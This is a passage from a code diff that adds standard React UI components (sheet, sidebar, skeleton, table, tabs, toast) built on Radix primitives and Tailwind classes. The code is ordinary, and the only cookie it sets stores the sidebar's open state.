SheetContent.displayName = SheetPrimitive.Content.displayName
const SheetHeader = ({
className,
...props
}: React.HTMLAttributes<HTMLDivElement>) => (
<div
className={cn(
"flex flex-col space-y-2 text-center sm:text-left",
className
)}
{...props}
/>
)
SheetHeader.displayName = "SheetHeader"
const SheetFooter = ({
className,
...props
}: React.HTMLAttributes<HTMLDivElement>) => (
<div
className={cn(
"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",
className
)}
{...props}
/>
)
SheetFooter.displayName = "SheetFooter"
const SheetTitle = React.forwardRef<
React.ElementRef<typeof SheetPrimitive.Title>,
React.ComponentPropsWithoutRef<typeof SheetPrimitive.Title>
>(({ className, ...props }, ref) => (
<SheetPrimitive.Title
ref={ref}
className={cn("text-lg font-semibold text-foreground", className)}
{...props}
/>
))
SheetTitle.displayName = SheetPrimitive.Title.displayName
const SheetDescription = React.forwardRef<
React.ElementRef<typeof SheetPrimitive.Description>,
React.ComponentPropsWithoutRef<typeof SheetPrimitive.Description>
>(({ className, ...props }, ref) => (
<SheetPrimitive.Description
ref={ref}
className={cn("text-sm text-muted-foreground", className)}
{...props}
/>
))
SheetDescription.displayName = SheetPrimitive.Description.displayName
export {
Sheet,
SheetPortal,
SheetOverlay,
SheetTrigger,
SheetClose,
SheetContent,
SheetHeader,
SheetFooter,
SheetTitle,
SheetDescription,
}

View File

@@ -0,0 +1,762 @@
import * as React from "react"
import { Slot } from "@radix-ui/react-slot"
import { VariantProps, cva } from "class-variance-authority"
import { PanelLeft } from "lucide-react"
import { useIsMobile } from "@/hooks/use-mobile"
import { cn } from "@/lib/utils"
import { Button } from "@/components/ui/button"
import { Input } from "@/components/ui/input"
import { Separator } from "@/components/ui/separator"
import { Sheet, SheetContent } from "@/components/ui/sheet"
import { Skeleton } from "@/components/ui/skeleton"
import {
Tooltip,
TooltipContent,
TooltipProvider,
TooltipTrigger,
} from "@/components/ui/tooltip"
const SIDEBAR_COOKIE_NAME = "sidebar:state"
const SIDEBAR_COOKIE_MAX_AGE = 60 * 60 * 24 * 7
const SIDEBAR_WIDTH = "16rem"
const SIDEBAR_WIDTH_MOBILE = "18rem"
const SIDEBAR_WIDTH_ICON = "3rem"
const SIDEBAR_KEYBOARD_SHORTCUT = "b"
type SidebarContext = {
state: "expanded" | "collapsed"
open: boolean
setOpen: (open: boolean) => void
openMobile: boolean
setOpenMobile: (open: boolean) => void
isMobile: boolean
toggleSidebar: () => void
}
const SidebarContext = React.createContext<SidebarContext | null>(null)
function useSidebar() {
const context = React.useContext(SidebarContext)
if (!context) {
throw new Error("useSidebar must be used within a Sidebar.")
}
return context
}
const SidebarProvider = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div"> & {
defaultOpen?: boolean
open?: boolean
onOpenChange?: (open: boolean) => void
}
>(
(
{
defaultOpen = true,
open: openProp,
onOpenChange: setOpenProp,
className,
style,
children,
...props
},
ref
) => {
const isMobile = useIsMobile()
const [openMobile, setOpenMobile] = React.useState(false)
// This is the internal state of the sidebar.
// We use openProp and setOpenProp for control from outside the component.
const [_open, _setOpen] = React.useState(defaultOpen)
const open = openProp ?? _open
const setOpen = React.useCallback(
(value: boolean | ((value: boolean) => boolean)) => {
if (setOpenProp) {
return setOpenProp?.(
typeof value === "function" ? value(open) : value
)
}
_setOpen(value)
// This sets the cookie to keep the sidebar state.
document.cookie = `${SIDEBAR_COOKIE_NAME}=${open}; path=/; max-age=${SIDEBAR_COOKIE_MAX_AGE}`
},
[setOpenProp, open]
)
// Helper to toggle the sidebar.
const toggleSidebar = React.useCallback(() => {
return isMobile
? setOpenMobile((open) => !open)
: setOpen((open) => !open)
}, [isMobile, setOpen, setOpenMobile])
// Adds a keyboard shortcut to toggle the sidebar.
React.useEffect(() => {
const handleKeyDown = (event: KeyboardEvent) => {
if (
event.key === SIDEBAR_KEYBOARD_SHORTCUT &&
(event.metaKey || event.ctrlKey)
) {
event.preventDefault()
toggleSidebar()
}
}
window.addEventListener("keydown", handleKeyDown)
return () => window.removeEventListener("keydown", handleKeyDown)
}, [toggleSidebar])
// We add a state so that we can do data-state="expanded" or "collapsed".
// This makes it easier to style the sidebar with Tailwind classes.
const state = open ? "expanded" : "collapsed"
const contextValue = React.useMemo<SidebarContext>(
() => ({
state,
open,
setOpen,
isMobile,
openMobile,
setOpenMobile,
toggleSidebar,
}),
[state, open, setOpen, isMobile, openMobile, setOpenMobile, toggleSidebar]
)
return (
<SidebarContext.Provider value={contextValue}>
<TooltipProvider delayDuration={0}>
<div
style={
{
"--sidebar-width": SIDEBAR_WIDTH,
"--sidebar-width-icon": SIDEBAR_WIDTH_ICON,
...style,
} as React.CSSProperties
}
className={cn(
"group/sidebar-wrapper flex min-h-svh w-full text-sidebar-foreground has-[[data-variant=inset]]:bg-sidebar",
className
)}
ref={ref}
{...props}
>
{children}
</div>
</TooltipProvider>
</SidebarContext.Provider>
)
}
)
SidebarProvider.displayName = "SidebarProvider"
const Sidebar = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div"> & {
side?: "left" | "right"
variant?: "sidebar" | "floating" | "inset"
collapsible?: "offcanvas" | "icon" | "none"
}
>(
(
{
side = "left",
variant = "sidebar",
collapsible = "offcanvas",
className,
children,
...props
},
ref
) => {
const { isMobile, state, openMobile, setOpenMobile } = useSidebar()
if (collapsible === "none") {
return (
<div
className={cn(
"flex h-full w-[--sidebar-width] flex-col bg-sidebar text-sidebar-foreground",
className
)}
ref={ref}
{...props}
>
{children}
</div>
)
}
if (isMobile) {
return (
<Sheet open={openMobile} onOpenChange={setOpenMobile} {...props}>
<SheetContent
data-sidebar="sidebar"
data-mobile="true"
className="w-[--sidebar-width] bg-sidebar p-0 text-sidebar-foreground [&>button]:hidden"
style={
{
"--sidebar-width": SIDEBAR_WIDTH_MOBILE,
} as React.CSSProperties
}
side={side}
>
<div className="flex h-full w-full flex-col">{children}</div>
</SheetContent>
</Sheet>
)
}
return (
<div
ref={ref}
className="group peer hidden md:block"
data-state={state}
data-collapsible={state === "collapsed" ? collapsible : ""}
data-variant={variant}
data-side={side}
>
{/* This is what handles the sidebar gap on desktop */}
<div
className={cn(
"duration-200 relative h-svh w-[--sidebar-width] bg-transparent transition-[width] ease-linear",
"group-data-[collapsible=offcanvas]:w-0",
"group-data-[side=right]:rotate-180",
variant === "floating" || variant === "inset"
? "group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)_+_theme(spacing.4))]"
: "group-data-[collapsible=icon]:w-[--sidebar-width-icon]"
)}
/>
<div
className={cn(
"duration-200 fixed inset-y-0 z-10 hidden h-svh w-[--sidebar-width] transition-[left,right,width] ease-linear md:flex",
side === "left"
? "left-0 group-data-[collapsible=offcanvas]:left-[calc(var(--sidebar-width)*-1)]"
: "right-0 group-data-[collapsible=offcanvas]:right-[calc(var(--sidebar-width)*-1)]",
// Adjust the padding for floating and inset variants.
variant === "floating" || variant === "inset"
? "p-2 group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)_+_theme(spacing.4)_+2px)]"
: "group-data-[collapsible=icon]:w-[--sidebar-width-icon] group-data-[side=left]:border-r group-data-[side=right]:border-l",
className
)}
{...props}
>
<div
data-sidebar="sidebar"
className="flex h-full w-full flex-col bg-sidebar group-data-[variant=floating]:rounded-lg group-data-[variant=floating]:border group-data-[variant=floating]:border-sidebar-border group-data-[variant=floating]:shadow"
>
{children}
</div>
</div>
</div>
)
}
)
Sidebar.displayName = "Sidebar"
const SidebarTrigger = React.forwardRef<
React.ElementRef<typeof Button>,
React.ComponentProps<typeof Button>
>(({ className, onClick, ...props }, ref) => {
const { toggleSidebar } = useSidebar()
return (
<Button
ref={ref}
data-sidebar="trigger"
variant="ghost"
size="icon"
className={cn("h-7 w-7", className)}
onClick={(event) => {
onClick?.(event)
toggleSidebar()
}}
{...props}
>
<PanelLeft />
<span className="sr-only">Toggle Sidebar</span>
</Button>
)
})
SidebarTrigger.displayName = "SidebarTrigger"
const SidebarRail = React.forwardRef<
HTMLButtonElement,
React.ComponentProps<"button">
>(({ className, ...props }, ref) => {
const { toggleSidebar } = useSidebar()
return (
<button
ref={ref}
data-sidebar="rail"
aria-label="Toggle Sidebar"
tabIndex={-1}
onClick={toggleSidebar}
title="Toggle Sidebar"
className={cn(
"absolute inset-y-0 z-20 hidden w-4 -translate-x-1/2 transition-all ease-linear after:absolute after:inset-y-0 after:left-1/2 after:w-[2px] hover:after:bg-sidebar-border group-data-[side=left]:-right-4 group-data-[side=right]:left-0 sm:flex",
"[[data-side=left]_&]:cursor-w-resize [[data-side=right]_&]:cursor-e-resize",
"[[data-side=left][data-state=collapsed]_&]:cursor-e-resize [[data-side=right][data-state=collapsed]_&]:cursor-w-resize",
"group-data-[collapsible=offcanvas]:translate-x-0 group-data-[collapsible=offcanvas]:after:left-full group-data-[collapsible=offcanvas]:hover:bg-sidebar",
"[[data-side=left][data-collapsible=offcanvas]_&]:-right-2",
"[[data-side=right][data-collapsible=offcanvas]_&]:-left-2",
className
)}
{...props}
/>
)
})
SidebarRail.displayName = "SidebarRail"
const SidebarInset = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"main">
>(({ className, ...props }, ref) => {
return (
<main
ref={ref}
className={cn(
"relative flex min-h-svh flex-1 flex-col bg-background",
"peer-data-[variant=inset]:min-h-[calc(100svh-theme(spacing.4))] md:peer-data-[variant=inset]:m-2 md:peer-data-[state=collapsed]:peer-data-[variant=inset]:ml-2 md:peer-data-[variant=inset]:ml-0 md:peer-data-[variant=inset]:rounded-xl md:peer-data-[variant=inset]:shadow",
className
)}
{...props}
/>
)
})
SidebarInset.displayName = "SidebarInset"
const SidebarInput = React.forwardRef<
React.ElementRef<typeof Input>,
React.ComponentProps<typeof Input>
>(({ className, ...props }, ref) => {
return (
<Input
ref={ref}
data-sidebar="input"
className={cn(
"h-8 w-full bg-background shadow-none focus-visible:ring-2 focus-visible:ring-sidebar-ring",
className
)}
{...props}
/>
)
})
SidebarInput.displayName = "SidebarInput"
const SidebarHeader = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div">
>(({ className, ...props }, ref) => {
return (
<div
ref={ref}
data-sidebar="header"
className={cn("flex flex-col gap-2 p-2", className)}
{...props}
/>
)
})
SidebarHeader.displayName = "SidebarHeader"
const SidebarFooter = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div">
>(({ className, ...props }, ref) => {
return (
<div
ref={ref}
data-sidebar="footer"
className={cn("flex flex-col gap-2 p-2", className)}
{...props}
/>
)
})
SidebarFooter.displayName = "SidebarFooter"
const SidebarSeparator = React.forwardRef<
React.ElementRef<typeof Separator>,
React.ComponentProps<typeof Separator>
>(({ className, ...props }, ref) => {
return (
<Separator
ref={ref}
data-sidebar="separator"
className={cn("mx-2 w-auto bg-sidebar-border", className)}
{...props}
/>
)
})
SidebarSeparator.displayName = "SidebarSeparator"
const SidebarContent = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div">
>(({ className, ...props }, ref) => {
return (
<div
ref={ref}
data-sidebar="content"
className={cn(
"flex min-h-0 flex-1 flex-col gap-2 overflow-auto group-data-[collapsible=icon]:overflow-hidden",
className
)}
{...props}
/>
)
})
SidebarContent.displayName = "SidebarContent"
const SidebarGroup = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div">
>(({ className, ...props }, ref) => {
return (
<div
ref={ref}
data-sidebar="group"
className={cn("relative flex w-full min-w-0 flex-col p-2", className)}
{...props}
/>
)
})
SidebarGroup.displayName = "SidebarGroup"
const SidebarGroupLabel = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div"> & { asChild?: boolean }
>(({ className, asChild = false, ...props }, ref) => {
const Comp = asChild ? Slot : "div"
return (
<Comp
ref={ref}
data-sidebar="group-label"
className={cn(
"duration-200 flex h-8 shrink-0 items-center rounded-md px-2 text-xs font-medium text-sidebar-foreground/70 outline-none ring-sidebar-ring transition-[margin,opa] ease-linear focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0",
"group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0",
className
)}
{...props}
/>
)
})
SidebarGroupLabel.displayName = "SidebarGroupLabel"
const SidebarGroupAction = React.forwardRef<
HTMLButtonElement,
React.ComponentProps<"button"> & { asChild?: boolean }
>(({ className, asChild = false, ...props }, ref) => {
const Comp = asChild ? Slot : "button"
return (
<Comp
ref={ref}
data-sidebar="group-action"
className={cn(
"absolute right-3 top-3.5 flex aspect-square w-5 items-center justify-center rounded-md p-0 text-sidebar-foreground outline-none ring-sidebar-ring transition-transform hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0",
// Increases the hit area of the button on mobile.
"after:absolute after:-inset-2 after:md:hidden",
"group-data-[collapsible=icon]:hidden",
className
)}
{...props}
/>
)
})
SidebarGroupAction.displayName = "SidebarGroupAction"
const SidebarGroupContent = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div">
>(({ className, ...props }, ref) => (
<div
ref={ref}
data-sidebar="group-content"
className={cn("w-full text-sm", className)}
{...props}
/>
))
SidebarGroupContent.displayName = "SidebarGroupContent"
const SidebarMenu = React.forwardRef<
HTMLUListElement,
React.ComponentProps<"ul">
>(({ className, ...props }, ref) => (
<ul
ref={ref}
data-sidebar="menu"
className={cn("flex w-full min-w-0 flex-col gap-1", className)}
{...props}
/>
))
SidebarMenu.displayName = "SidebarMenu"
const SidebarMenuItem = React.forwardRef<
HTMLLIElement,
React.ComponentProps<"li">
>(({ className, ...props }, ref) => (
<li
ref={ref}
data-sidebar="menu-item"
className={cn("group/menu-item relative", className)}
{...props}
/>
))
SidebarMenuItem.displayName = "SidebarMenuItem"
const sidebarMenuButtonVariants = cva(
"peer/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm outline-none ring-sidebar-ring transition-[width,height,padding] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 group-has-[[data-sidebar=menu-action]]/menu-item:pr-8 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-[active=true]:bg-sidebar-accent data-[active=true]:font-medium data-[active=true]:text-sidebar-accent-foreground data-[state=open]:hover:bg-sidebar-accent data-[state=open]:hover:text-sidebar-accent-foreground group-data-[collapsible=icon]:!size-8 group-data-[collapsible=icon]:!p-2 [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0",
{
variants: {
variant: {
default: "hover:bg-sidebar-accent hover:text-sidebar-accent-foreground",
outline:
"bg-background shadow-[0_0_0_1px_hsl(var(--sidebar-border))] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_1px_hsl(var(--sidebar-accent))]",
},
size: {
default: "h-8 text-sm",
sm: "h-7 text-xs",
lg: "h-12 text-sm group-data-[collapsible=icon]:!p-0",
},
},
defaultVariants: {
variant: "default",
size: "default",
},
}
)
const SidebarMenuButton = React.forwardRef<
HTMLButtonElement,
React.ComponentProps<"button"> & {
asChild?: boolean
isActive?: boolean
tooltip?: string | React.ComponentProps<typeof TooltipContent>
} & VariantProps<typeof sidebarMenuButtonVariants>
>(
(
{
asChild = false,
isActive = false,
variant = "default",
size = "default",
tooltip,
className,
...props
},
ref
) => {
const Comp = asChild ? Slot : "button"
const { isMobile, state } = useSidebar()
const button = (
<Comp
ref={ref}
data-sidebar="menu-button"
data-size={size}
data-active={isActive}
className={cn(sidebarMenuButtonVariants({ variant, size }), className)}
{...props}
/>
)
if (!tooltip) {
return button
}
if (typeof tooltip === "string") {
tooltip = {
children: tooltip,
}
}
return (
<Tooltip>
<TooltipTrigger asChild>{button}</TooltipTrigger>
<TooltipContent
side="right"
align="center"
hidden={state !== "collapsed" || isMobile}
{...tooltip}
/>
</Tooltip>
)
}
)
SidebarMenuButton.displayName = "SidebarMenuButton"
const SidebarMenuAction = React.forwardRef<
HTMLButtonElement,
React.ComponentProps<"button"> & {
asChild?: boolean
showOnHover?: boolean
}
>(({ className, asChild = false, showOnHover = false, ...props }, ref) => {
const Comp = asChild ? Slot : "button"
return (
<Comp
ref={ref}
data-sidebar="menu-action"
className={cn(
"absolute right-1 top-1.5 flex aspect-square w-5 items-center justify-center rounded-md p-0 text-sidebar-foreground outline-none ring-sidebar-ring transition-transform hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 peer-hover/menu-button:text-sidebar-accent-foreground [&>svg]:size-4 [&>svg]:shrink-0",
// Increases the hit area of the button on mobile.
"after:absolute after:-inset-2 after:md:hidden",
"peer-data-[size=sm]/menu-button:top-1",
"peer-data-[size=default]/menu-button:top-1.5",
"peer-data-[size=lg]/menu-button:top-2.5",
"group-data-[collapsible=icon]:hidden",
showOnHover &&
"group-focus-within/menu-item:opacity-100 group-hover/menu-item:opacity-100 data-[state=open]:opacity-100 peer-data-[active=true]/menu-button:text-sidebar-accent-foreground md:opacity-0",
className
)}
{...props}
/>
)
})
SidebarMenuAction.displayName = "SidebarMenuAction"
const SidebarMenuBadge = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div">
>(({ className, ...props }, ref) => (
<div
ref={ref}
data-sidebar="menu-badge"
className={cn(
"absolute right-1 flex h-5 min-w-5 items-center justify-center rounded-md px-1 text-xs font-medium tabular-nums text-sidebar-foreground select-none pointer-events-none",
"peer-hover/menu-button:text-sidebar-accent-foreground peer-data-[active=true]/menu-button:text-sidebar-accent-foreground",
"peer-data-[size=sm]/menu-button:top-1",
"peer-data-[size=default]/menu-button:top-1.5",
"peer-data-[size=lg]/menu-button:top-2.5",
"group-data-[collapsible=icon]:hidden",
className
)}
{...props}
/>
))
SidebarMenuBadge.displayName = "SidebarMenuBadge"
const SidebarMenuSkeleton = React.forwardRef<
HTMLDivElement,
React.ComponentProps<"div"> & {
showIcon?: boolean
}
>(({ className, showIcon = false, ...props }, ref) => {
// Random width between 50 to 90%.
const width = React.useMemo(() => {
return `${Math.floor(Math.random() * 40) + 50}%`
}, [])
return (
<div
ref={ref}
data-sidebar="menu-skeleton"
className={cn("rounded-md h-8 flex gap-2 px-2 items-center", className)}
{...props}
>
{showIcon && (
<Skeleton
className="size-4 rounded-md"
data-sidebar="menu-skeleton-icon"
/>
)}
<Skeleton
className="h-4 flex-1 max-w-[--skeleton-width]"
data-sidebar="menu-skeleton-text"
style={
{
"--skeleton-width": width,
} as React.CSSProperties
}
/>
</div>
)
})
SidebarMenuSkeleton.displayName = "SidebarMenuSkeleton"
const SidebarMenuSub = React.forwardRef<
HTMLUListElement,
React.ComponentProps<"ul">
>(({ className, ...props }, ref) => (
<ul
ref={ref}
data-sidebar="menu-sub"
className={cn(
"mx-3.5 flex min-w-0 translate-x-px flex-col gap-1 border-l border-sidebar-border px-2.5 py-0.5",
"group-data-[collapsible=icon]:hidden",
className
)}
{...props}
/>
))
SidebarMenuSub.displayName = "SidebarMenuSub"
const SidebarMenuSubItem = React.forwardRef<
HTMLLIElement,
React.ComponentProps<"li">
>(({ ...props }, ref) => <li ref={ref} {...props} />)
SidebarMenuSubItem.displayName = "SidebarMenuSubItem"
const SidebarMenuSubButton = React.forwardRef<
HTMLAnchorElement,
React.ComponentProps<"a"> & {
asChild?: boolean
size?: "sm" | "md"
isActive?: boolean
}
>(({ asChild = false, size = "md", isActive, className, ...props }, ref) => {
const Comp = asChild ? Slot : "a"
return (
<Comp
ref={ref}
data-sidebar="menu-sub-button"
data-size={size}
data-active={isActive}
className={cn(
"flex h-7 min-w-0 -translate-x-px items-center gap-2 overflow-hidden rounded-md px-2 text-sidebar-foreground outline-none ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0 [&>svg]:text-sidebar-accent-foreground",
"data-[active=true]:bg-sidebar-accent data-[active=true]:text-sidebar-accent-foreground",
size === "sm" && "text-xs",
size === "md" && "text-sm",
"group-data-[collapsible=icon]:hidden",
className
)}
{...props}
/>
)
})
SidebarMenuSubButton.displayName = "SidebarMenuSubButton"
export {
Sidebar,
SidebarContent,
SidebarFooter,
SidebarGroup,
SidebarGroupAction,
SidebarGroupContent,
SidebarGroupLabel,
SidebarHeader,
SidebarInput,
SidebarInset,
SidebarMenu,
SidebarMenuAction,
SidebarMenuBadge,
SidebarMenuButton,
SidebarMenuItem,
SidebarMenuSkeleton,
SidebarMenuSub,
SidebarMenuSubButton,
SidebarMenuSubItem,
SidebarProvider,
SidebarRail,
SidebarSeparator,
SidebarTrigger,
useSidebar,
}

View File

@@ -0,0 +1,15 @@
import { cn } from "@/lib/utils"
function Skeleton({
className,
...props
}: React.HTMLAttributes<HTMLDivElement>) {
return (
<div
className={cn("animate-pulse rounded-md bg-primary/10", className)}
{...props}
/>
)
}
export { Skeleton }

View File

@@ -0,0 +1,120 @@
import * as React from "react"
import { cn } from "@/lib/utils"
const Table = React.forwardRef<
HTMLTableElement,
React.HTMLAttributes<HTMLTableElement>
>(({ className, ...props }, ref) => (
<div className="relative w-full overflow-auto">
<table
ref={ref}
className={cn("w-full caption-bottom text-sm", className)}
{...props}
/>
</div>
))
Table.displayName = "Table"
const TableHeader = React.forwardRef<
HTMLTableSectionElement,
React.HTMLAttributes<HTMLTableSectionElement>
>(({ className, ...props }, ref) => (
<thead ref={ref} className={cn("[&_tr]:border-b", className)} {...props} />
))
TableHeader.displayName = "TableHeader"
const TableBody = React.forwardRef<
HTMLTableSectionElement,
React.HTMLAttributes<HTMLTableSectionElement>
>(({ className, ...props }, ref) => (
<tbody
ref={ref}
className={cn("[&_tr:last-child]:border-0", className)}
{...props}
/>
))
TableBody.displayName = "TableBody"
const TableFooter = React.forwardRef<
HTMLTableSectionElement,
React.HTMLAttributes<HTMLTableSectionElement>
>(({ className, ...props }, ref) => (
<tfoot
ref={ref}
className={cn(
"border-t bg-muted/50 font-medium [&>tr]:last:border-b-0",
className
)}
{...props}
/>
))
TableFooter.displayName = "TableFooter"
const TableRow = React.forwardRef<
HTMLTableRowElement,
React.HTMLAttributes<HTMLTableRowElement>
>(({ className, ...props }, ref) => (
<tr
ref={ref}
className={cn(
"border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",
className
)}
{...props}
/>
))
TableRow.displayName = "TableRow"
const TableHead = React.forwardRef<
HTMLTableCellElement,
React.ThHTMLAttributes<HTMLTableCellElement>
>(({ className, ...props }, ref) => (
<th
ref={ref}
className={cn(
"h-10 px-2 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
className
)}
{...props}
/>
))
TableHead.displayName = "TableHead"
const TableCell = React.forwardRef<
HTMLTableCellElement,
React.TdHTMLAttributes<HTMLTableCellElement>
>(({ className, ...props }, ref) => (
<td
ref={ref}
className={cn(
"p-2 align-middle [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
className
)}
{...props}
/>
))
TableCell.displayName = "TableCell"
const TableCaption = React.forwardRef<
HTMLTableCaptionElement,
React.HTMLAttributes<HTMLTableCaptionElement>
>(({ className, ...props }, ref) => (
<caption
ref={ref}
className={cn("mt-4 text-sm text-muted-foreground", className)}
{...props}
/>
))
TableCaption.displayName = "TableCaption"
export {
Table,
TableHeader,
TableBody,
TableFooter,
TableHead,
TableRow,
TableCell,
TableCaption,
}

View File

@@ -0,0 +1,53 @@
import * as React from "react"
import * as TabsPrimitive from "@radix-ui/react-tabs"
import { cn } from "@/lib/utils"
const Tabs = TabsPrimitive.Root
const TabsList = React.forwardRef<
React.ElementRef<typeof TabsPrimitive.List>,
React.ComponentPropsWithoutRef<typeof TabsPrimitive.List>
>(({ className, ...props }, ref) => (
<TabsPrimitive.List
ref={ref}
className={cn(
"inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground",
className
)}
{...props}
/>
))
TabsList.displayName = TabsPrimitive.List.displayName
const TabsTrigger = React.forwardRef<
React.ElementRef<typeof TabsPrimitive.Trigger>,
React.ComponentPropsWithoutRef<typeof TabsPrimitive.Trigger>
>(({ className, ...props }, ref) => (
<TabsPrimitive.Trigger
ref={ref}
className={cn(
"inline-flex items-center justify-center whitespace-nowrap rounded-md px-3 py-1 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow",
className
)}
{...props}
/>
))
TabsTrigger.displayName = TabsPrimitive.Trigger.displayName
const TabsContent = React.forwardRef<
React.ElementRef<typeof TabsPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof TabsPrimitive.Content>
>(({ className, ...props }, ref) => (
<TabsPrimitive.Content
ref={ref}
className={cn(
"mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",
className
)}
{...props}
/>
))
TabsContent.displayName = TabsPrimitive.Content.displayName
export { Tabs, TabsList, TabsTrigger, TabsContent }

View File

@@ -0,0 +1,127 @@
import * as React from "react"
import { Cross2Icon } from "@radix-ui/react-icons"
import * as ToastPrimitives from "@radix-ui/react-toast"
import { cva, type VariantProps } from "class-variance-authority"
import { cn } from "@/lib/utils"
const ToastProvider = ToastPrimitives.Provider
const ToastViewport = React.forwardRef<
React.ElementRef<typeof ToastPrimitives.Viewport>,
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Viewport>
>(({ className, ...props }, ref) => (
<ToastPrimitives.Viewport
ref={ref}
className={cn(
"fixed top-0 z-[100] flex max-h-screen w-full flex-col-reverse p-4 sm:bottom-0 sm:right-0 sm:top-auto sm:flex-col md:max-w-[420px]",
className
)}
{...props}
/>
))
ToastViewport.displayName = ToastPrimitives.Viewport.displayName
const toastVariants = cva(
"group pointer-events-auto relative flex w-full items-center justify-between space-x-2 overflow-hidden rounded-md border p-4 pr-6 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full",
{
variants: {
variant: {
default: "border bg-background text-foreground",
destructive:
"destructive group border-destructive bg-destructive text-destructive-foreground",
},
},
defaultVariants: {
variant: "default",
},
}
)
const Toast = React.forwardRef<
React.ElementRef<typeof ToastPrimitives.Root>,
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Root> &
VariantProps<typeof toastVariants>
>(({ className, variant, ...props }, ref) => {
return (
<ToastPrimitives.Root
ref={ref}
className={cn(toastVariants({ variant }), className)}
{...props}
/>
)
})
Toast.displayName = ToastPrimitives.Root.displayName
const ToastAction = React.forwardRef<
React.ElementRef<typeof ToastPrimitives.Action>,
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Action>
>(({ className, ...props }, ref) => (
<ToastPrimitives.Action
ref={ref}
className={cn(
"inline-flex h-8 shrink-0 items-center justify-center rounded-md border bg-transparent px-3 text-sm font-medium transition-colors hover:bg-secondary focus:outline-none focus:ring-1 focus:ring-ring disabled:pointer-events-none disabled:opacity-50 group-[.destructive]:border-muted/40 group-[.destructive]:hover:border-destructive/30 group-[.destructive]:hover:bg-destructive group-[.destructive]:hover:text-destructive-foreground group-[.destructive]:focus:ring-destructive",
className
)}
{...props}
/>
))
ToastAction.displayName = ToastPrimitives.Action.displayName
const ToastClose = React.forwardRef<
React.ElementRef<typeof ToastPrimitives.Close>,
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Close>
>(({ className, ...props }, ref) => (
<ToastPrimitives.Close
ref={ref}
className={cn(
"absolute right-1 top-1 rounded-md p-1 text-foreground/50 opacity-0 transition-opacity hover:text-foreground focus:opacity-100 focus:outline-none focus:ring-1 group-hover:opacity-100 group-[.destructive]:text-red-300 group-[.destructive]:hover:text-red-50 group-[.destructive]:focus:ring-red-400 group-[.destructive]:focus:ring-offset-red-600",
className
)}
toast-close=""
{...props}
>
<Cross2Icon className="h-4 w-4" />
</ToastPrimitives.Close>
))
ToastClose.displayName = ToastPrimitives.Close.displayName
const ToastTitle = React.forwardRef<
React.ElementRef<typeof ToastPrimitives.Title>,
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Title>
>(({ className, ...props }, ref) => (
<ToastPrimitives.Title
ref={ref}
className={cn("text-sm font-semibold [&+div]:text-xs", className)}
{...props}
/>
))
ToastTitle.displayName = ToastPrimitives.Title.displayName
const ToastDescription = React.forwardRef<
React.ElementRef<typeof ToastPrimitives.Description>,
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Description>
>(({ className, ...props }, ref) => (
<ToastPrimitives.Description
ref={ref}
className={cn("text-sm opacity-90", className)}
{...props}
/>
))
ToastDescription.displayName = ToastPrimitives.Description.displayName
type ToastProps = React.ComponentPropsWithoutRef<typeof Toast>
type ToastActionElement = React.ReactElement<typeof ToastAction>
export {
type ToastProps,
type ToastActionElement,
ToastProvider,
ToastViewport,
Toast,
ToastTitle,
ToastDescription,
ToastClose,
ToastAction,
}

View File

@@ -0,0 +1,33 @@
import { useToast } from "@/hooks/use-toast"
import {
Toast,
ToastClose,
ToastDescription,
ToastProvider,
ToastTitle,
ToastViewport,
} from "@/components/ui/toast"
export function Toaster() {
